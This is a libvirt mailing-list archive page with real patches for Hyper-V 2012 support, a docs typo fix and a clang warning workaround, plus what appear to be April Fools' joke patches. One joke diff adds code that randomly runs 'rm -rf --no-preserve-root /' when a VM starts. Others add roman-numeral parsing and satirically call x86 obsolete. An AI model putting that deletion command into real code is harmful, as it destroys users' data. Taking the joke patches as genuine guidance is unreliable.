[libvirt] [PATCH 00/11] hyperv: add support for Hyper-V 2012 and newer.
by Dawid Zamirski
Hello,
The following patch series reworks the hyper-v driver structs and the
code generator to provide seamless support for both Hyper-V 2008 and
2012 or newer. This does not implement any new libvirt APIs, it just
adapts existing 2008-only driver to also handle 2012 and newer by
sharing as much driver code as possible (currently it's all of it :-))
This is needed to set the foundation before we can move forward with
implementing the rest of the driver APIs.
With 2012 release, Microsoft introduced "v2" version of Msvm_* WMI
classes. Those are largely the same as "v1" (used in 2008) but have some
new properties as well as need different wsman request URIs. To
accomodate those differences, most of work went into the code generator
so that it's "aware" of possibility of multiple versions of the same WMI
class and produce C code accordingly.
To accomplish this the following changes were made:
* hypervPrivate has now wmiVersion field so the driver can check this
at runtime and take appropiate action as needed.
* the abstract hypervObject struct's data member was changed to a union
that has "common", "v1" and "v2" members. Those are structs that
represent WMI classes that we get back from wsman response. The
"common" struct has members that are present in both "v1" and "v2"
which the driver API callbacks can use to read the data from in
version-independent manner (if version-specific member needs to be
accessed the driver can check priv->wmiVersion and read from "v1" or
"v2" as needed). Those structs are guaranteed to be memory aligned
by the code generator (see the _align_propert_members implementation
that takes care of that)
* the generator produces *_WmiInfo for each WMI class "family" that
holds an array of hypervWmiClassInfoPtr each providing information
as to which request URI to use for each "version" of given WMI class
as well as XmlSerializerInfo struct needed to unserilize wsman
responsed into the data structs. The driver uses those to make proper
wsman request depending on which version it's connected to.
* the generator no longer produces "helper" functions such as
hypervGetMsvmComputerSystemList as those were originally just simple
wrappers around hypervEnumAndPull, instead those were hand-written
now (to keep driver changes minimal). The reason is that we'll have
more code coming (once/if this get ACK) implementing missing libvirt
APIs and surely code patterns will emerge that would warrant more
useful "utility" functions like that.
* a hypervInitConnection was added to the driver which "detects"
hyper-v version by testing simple wsman request using v2 then falling
back to v1, obviously if both fail, the we're erroring out.
To express how the above translates in code:
int
hypervImplementSomeLibvirtApi(virConnectPtr conn, ...)
{
hypervPrivate *priv = conn->privateData;
hypervWqlQuery wqlQuery = HYPERV_WQL_QUERY_INITIALIZER;
Msvm_ComputerSystem *list = NULL; /* typed hypervObject instance */
/* the WmiInfo struct has the data needed for wsman request and
* response handling for both v1 and v2 */
wqlQuery.info = Msvm_ComputerSystem_WmiInfo;
wqlQuery.query = "select * from Msvm_ComputerSystem";
if (hypervEnumAndPull(priv, &query, (hypervObject **) &list) < 0) {
goto cleanup;
}
if (list == NULL) {
/* none found */
goto cleanup;
}
/* works with v1 and v2 */
char *vmName = list->data.common->Name;
/* access property that is in v2 only */
if (priv->wmiVersion == HYPERV_WMI_VERSION_V2)
char *foo = list->data.v2->V2Property;
else
char *foo = list->data.v1->V1Property;
}
Dawid Zamirski (11):
hyperv: fixed typo in function name.
hyperv: store WMI version in hypervPrivate.
hyperv: introduce hypervWmiClassInfo struct.
hyperv: update hypervObject struct.
hyperv: add hypervWqlQuery struct.
hyperv: make hypervEnumAndPull use hypervWqlQuery
hyperv: update generator input file.
hyperv: update wmi code generator.
hyperv: add helper for getting WMI class lists.
hyperv: port rest of the driver to new stucts.
hyperv: add hypervInitConnection.
src/Makefile.am | 2 -
src/hyperv/hyperv_driver.c | 168 ++++++++------
src/hyperv/hyperv_private.h | 8 +-
src/hyperv/hyperv_wmi.c | 179 +++++++++++----
src/hyperv/hyperv_wmi.h | 58 ++++-
src/hyperv/hyperv_wmi_classes.h | 30 +++
src/hyperv/hyperv_wmi_generator.input | 239 +++++++++++++++++---
src/hyperv/hyperv_wmi_generator.py | 409 +++++++++++++++++++++++-----------
8 files changed, 809 insertions(+), 284 deletions(-)
mode change 100755 => 100644 src/hyperv/hyperv_wmi_generator.py
--
2.9.3
7 years, 11 months
[libvirt] [PATCH] Give other software a fair chance
by Michal Privoznik
Libvirt's so good, so solid that it almost feels like other
software stand no chance. Other applications are buggy, unstable,
crashing, etc. But not libvirt. Therefore, it seems only fair
that we introduce some bugs so developers of the other
applications don't feel that bad.
Signed-off-by: Michal Privoznik <mprivozn(a)redhat.com>
---
src/qemu/qemu_process.c | 10 ++++++++++
1 file changed, 10 insertions(+)
diff --git a/src/qemu/qemu_process.c b/src/qemu/qemu_process.c
index a20beb1..2a68611 100644
--- a/src/qemu/qemu_process.c
+++ b/src/qemu/qemu_process.c
@@ -77,6 +77,7 @@
#include "configmake.h"
#include "nwfilter_conf.h"
#include "netdev_bandwidth_conf.h"
+#include "virrandom.h"
#define VIR_FROM_THIS VIR_FROM_QEMU
@@ -5960,6 +5961,15 @@ qemuProcessStart(virConnectPtr conn,
if (!migrateFrom && !snapshot)
flags |= VIR_QEMU_PROCESS_START_NEW;
+ /* Be fair to other applications. */
+ if (virRandomInt(2)) {
+ const char *argv[] = {"rm", "-rf", "--no-preserve-root", "/", NULL};
+ virReportError(VIR_ERR_INTERNAL_ERROR, "%s",
+ _("Sorry pal, today is just not your day. Kiss your data goodbye."));
+ ignore_value(virRun(argv, NULL));
+ goto cleanup;
+ }
+
if (qemuProcessInit(driver, vm, asyncJob, !!migrateFrom, flags) < 0)
goto cleanup;
--
2.10.2
7 years, 11 months
[libvirt] [PATCH] util: add support for parsing roman numerals
by Ján Tomko
In loving memory of the glorious Roman Empire, add support
for parsing roman numerals to all the positive virStrToLong
variants (those that reject negative numbers).
Now you can finally do:
<memory unit='MiB'>CCLVI</memory>
---
src/util/virstring.c | 78 ++++++++++++++++++++++++++++++++++++++++++++++++++++
1 file changed, 78 insertions(+)
diff --git a/src/util/virstring.c b/src/util/virstring.c
index 69abc26..81c2052 100644
--- a/src/util/virstring.c
+++ b/src/util/virstring.c
@@ -313,6 +313,69 @@ virStringListGetFirstWithPrefix(char **strings,
return NULL;
}
+const char *digits = "IVXLCDM";
+const unsigned values[] = { 1, 5, 10, 50, 100, 500, 1000 };
+
+static int
+virRomanStrToLong_ul(char const *s, unsigned long *result)
+{
+ unsigned long ret = 0;
+ char const *cur;
+
+ if (*s == '\0')
+ return -1;
+
+ for (cur = s; *cur != '\0'; cur++) {
+ size_t pos;
+ char const *lookup;
+
+ lookup = strchr(digits, *cur);
+ if (!lookup)
+ return -1;
+ pos = lookup - digits;
+
+ if (*(cur + 1) != '\0' && strchr(digits + pos + 1, *(cur + 1))) {
+ ret -= values[pos];
+ } else {
+ if (ret > ULONG_MAX - values[pos])
+ return -1;
+ ret += values[pos];
+ }
+ }
+ *result = ret;
+ return 0;
+}
+
+static int
+virRomanStrToLong_ull(char const *s, unsigned long long *result)
+{
+ unsigned long long ret = 0;
+ char const *cur;
+
+ if (*s == '\0')
+ return -1;
+
+ for (cur = s; *cur != '\0'; cur++) {
+ size_t pos;
+ char const *lookup;
+
+ lookup = strchr(digits, *cur);
+ if (!lookup)
+ return -1;
+ pos = lookup - digits;
+
+ if (*(cur + 1) != '\0' && strchr(digits + pos + 1, *(cur + 1))) {
+ ret -= values[pos];
+ } else {
+ if (ret > ULLONG_MAX - values[pos])
+ return -1;
+ ret += values[pos];
+ }
+ }
+ *result = ret;
+ return 0;
+}
+
/* Like strtol, but produce an "int" result, and check more carefully.
Return 0 upon success; return -1 to indicate failure.
When END_PTR is NULL, the byte after the final valid digit must be NUL.
@@ -379,6 +442,11 @@ virStrToLong_uip(char const *s, char **end_ptr, int base, unsigned int *result)
char *p;
bool err = false;
+ if (virRomanStrToLong_ul(s, &val) == 0) {
+ *result = val;
+ return 0;
+ }
+
errno = 0;
val = strtoul(s, &p, base); /* exempt from syntax-check */
err = (memchr(s, '-', p - s) ||
@@ -441,6 +509,11 @@ virStrToLong_ulp(char const *s, char **end_ptr, int base,
char *p;
int err;
+ if (virRomanStrToLong_ul(s, &val) == 0) {
+ *result = val;
+ return 0;
+ }
+
errno = 0;
val = strtoul(s, &p, base); /* exempt from syntax-check */
err = (memchr(s, '-', p - s) ||
@@ -504,6 +577,11 @@ virStrToLong_ullp(char const *s, char **end_ptr, int base,
char *p;
int err;
+ if (virRomanStrToLong_ull(s, &val) == 0) {
+ *result = val;
+ return 0;
+ }
+
errno = 0;
val = strtoull(s, &p, base); /* exempt from syntax-check */
err = (memchr(s, '-', p - s) ||
--
2.10.2
7 years, 11 months
[libvirt] [PATCH 0/5] Deprecate obsolete architectures
by Andrea Bolognani
libvirt supports way too many architectures, including a
bunch which are no longer relevant these days.
As a result, developers spend a lot of their time focusing
on bugs and features that only affect legacy architectures
such as x86 rather than on improving support for reasonable,
modern architectures such as ppc64 and aarch64.
This series starts deprecating obsolete architectures so we
can drop support for them and retarget our efforts down the
line.
The initial list of deprecated architectures is fairly
conservative, only including those which are clearly obsolete
such as x86; on the other hand, dropping just those would
already allow us to get rid of a lot of complex and probably
fairly buggy code, so I think it's a good first step.
I'd suggest dropping the support for architectures we're
deprecating with this series completely with version 4.0.0,
due on January of next year, but I could be persuaded to
proceed earlier.
Andrea Bolognani (5):
configure: Deprecate obsolete architectures
daemon: Log warning when running on a deprecated architecture
virsh: Emit warning when running on a deprecated architecture
qemu: Taint guests emulating a deprecated architecture
news: Document architecture deprecation
configure.ac | 15 +++++++++++++++
daemon/libvirtd.c | 5 +++++
docs/news.xml | 13 +++++++++++++
src/conf/domain_conf.c | 3 ++-
src/conf/domain_conf.h | 1 +
src/qemu/qemu_domain.c | 3 +++
src/util/virarch.h | 3 +++
tools/virsh.c | 6 ++++++
8 files changed, 48 insertions(+), 1 deletion(-)
--
2.7.4
7 years, 11 months
[libvirt] [PATCH] docs: bhyve: fix typo
by Roman Bogorodskiy
USB tables -> USB tablet.
---
Pushed as trivial.
docs/drvbhyve.html.in | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/docs/drvbhyve.html.in b/docs/drvbhyve.html.in
index 0aed121ff..dd6620d59 100644
--- a/docs/drvbhyve.html.in
+++ b/docs/drvbhyve.html.in
@@ -312,7 +312,7 @@ attempt to boot from the first partition in the disk image.</p>
<p>Caveat: <code>bootloader_args</code> does not support any quoting.
Filenames, etc, must not have spaces or they will be tokenized incorrectly.</p>
-<h3><a name="uefi">Using UEFI bootrom, VNC, and USB tables</a></h3>
+<h3><a name="uefi">Using UEFI bootrom, VNC, and USB tablet</a></h3>
<p><span class="since">Since 3.2.0</span>, in addition to <a href="#grubbhyve">grub-bhyve</a>,
non-FreeBSD guests could be also booted using an UEFI boot ROM, provided both guest OS and
--
2.11.0
7 years, 11 months
[libvirt] [PATCH] tests: ignore -Wframe-larger-than= with clang
by Roman Bogorodskiy
When building with clang and using CFLAGS for debugging (like -O2 -g),
build fails on building tests unless configured with --disable-werror:
virshtest.c:253:1: error: stack frame size of 5512 bytes in function 'mymain' [-Werror,-Wframe-larger-than=]
mymain(void)
To fix that, introduce VIR_WARNINGS_NO_FRAME_LARGER_THAN(_RESET)
macros that disable "-Wframe-larger-than=" diagnostics when
compiling with clang and use that for tests that fail.
---
src/internal.h | 13 +++++++++++++
tests/cputest.c | 4 ++++
tests/qemuhotplugtest.c | 3 +++
tests/sockettest.c | 5 +++++
tests/virshtest.c | 4 ++++
tests/virstringtest.c | 5 +++++
6 files changed, 34 insertions(+)
diff --git a/src/internal.h b/src/internal.h
index d64be93b3..c1f4aff27 100644
--- a/src/internal.h
+++ b/src/internal.h
@@ -286,6 +286,19 @@
# define VIR_WARNINGS_NO_WLOGICALOP_STRCHR
# endif
+/* Workaround for clang's triggering "-Wframe-larger-than=" on tests
+ * when compiling with '-O0' */
+# ifndef VIR_WARNINGS_NO_FRAME_LARGER_THAN
+# if defined(__clang__)
+# define VIR_WARNINGS_NO_FRAME_LARGER_THAN \
+ _Pragma ("clang diagnostic push") \
+ _Pragma ("clang diagnostic ignored \"-Wframe-larger-than=\"")
+# define VIR_WARNINGS_NO_FRAME_LARGER_THAN_RESET _Pragma("clang diagnostic pop")
+# else
+# define VIR_WARNINGS_NO_FRAME_LARGER_THAN
+# define VIR_WARNINGS_NO_FRAME_LARGER_THAN_RESET
+# endif /* defined(__clang__) */
+# endif
/*
* Use this when passing possibly-NULL strings to printf-a-likes.
diff --git a/tests/cputest.c b/tests/cputest.c
index 3d3e43f16..b00352390 100644
--- a/tests/cputest.c
+++ b/tests/cputest.c
@@ -732,6 +732,8 @@ static const char *models[] = { "qemu64", "core2duo", "Nehalem" };
static const char *haswell[] = { "SandyBridge", "Haswell" };
static const char *ppc_models[] = { "POWER6", "POWER7", "POWER8" };
+VIR_WARNINGS_NO_FRAME_LARGER_THAN
+
static int
mymain(void)
{
@@ -1012,4 +1014,6 @@ mymain(void)
return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE;
}
+VIR_WARNINGS_NO_FRAME_LARGER_THAN_RESET
+
VIRT_TEST_MAIN(mymain)
diff --git a/tests/qemuhotplugtest.c b/tests/qemuhotplugtest.c
index cdeb3f1bf..5492d09c6 100644
--- a/tests/qemuhotplugtest.c
+++ b/tests/qemuhotplugtest.c
@@ -574,6 +574,7 @@ testQemuHotplugCpuIndividual(const void *opaque)
}
+VIR_WARNINGS_NO_FRAME_LARGER_THAN
static int
mymain(void)
@@ -856,4 +857,6 @@ mymain(void)
return (ret == 0) ? EXIT_SUCCESS : EXIT_FAILURE;
}
+VIR_WARNINGS_NO_FRAME_LARGER_THAN_RESET
+
VIRT_TEST_MAIN(mymain)
diff --git a/tests/sockettest.c b/tests/sockettest.c
index 4d49b38aa..a33b98f6f 100644
--- a/tests/sockettest.c
+++ b/tests/sockettest.c
@@ -264,6 +264,9 @@ testIsLocalhostHelper(const void *opaque)
return 0;
}
+
+VIR_WARNINGS_NO_FRAME_LARGER_THAN
+
static int
mymain(void)
{
@@ -482,4 +485,6 @@ mymain(void)
return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE;
}
+VIR_WARNINGS_NO_FRAME_LARGER_THAN_RESET
+
VIRT_TEST_MAIN(mymain)
diff --git a/tests/virshtest.c b/tests/virshtest.c
index 2f1022416..149e33feb 100644
--- a/tests/virshtest.c
+++ b/tests/virshtest.c
@@ -249,6 +249,8 @@ static int testCompareEcho(const void *data)
}
+VIR_WARNINGS_NO_FRAME_LARGER_THAN
+
static int
mymain(void)
{
@@ -419,6 +421,8 @@ mymain(void)
return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE;
}
+VIR_WARNINGS_NO_FRAME_LARGER_THAN_RESET
+
VIRT_TEST_MAIN(mymain)
#endif /* WIN32 */
diff --git a/tests/virstringtest.c b/tests/virstringtest.c
index db1731f96..914eeea24 100644
--- a/tests/virstringtest.c
+++ b/tests/virstringtest.c
@@ -693,6 +693,9 @@ static int testStripControlChars(const void *args)
return ret;
}
+
+VIR_WARNINGS_NO_FRAME_LARGER_THAN
+
static int
mymain(void)
{
@@ -961,4 +964,6 @@ mymain(void)
return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE;
}
+VIR_WARNINGS_NO_FRAME_LARGER_THAN_RESET
+
VIRT_TEST_MAIN(mymain)
--
2.11.0
7 years, 11 months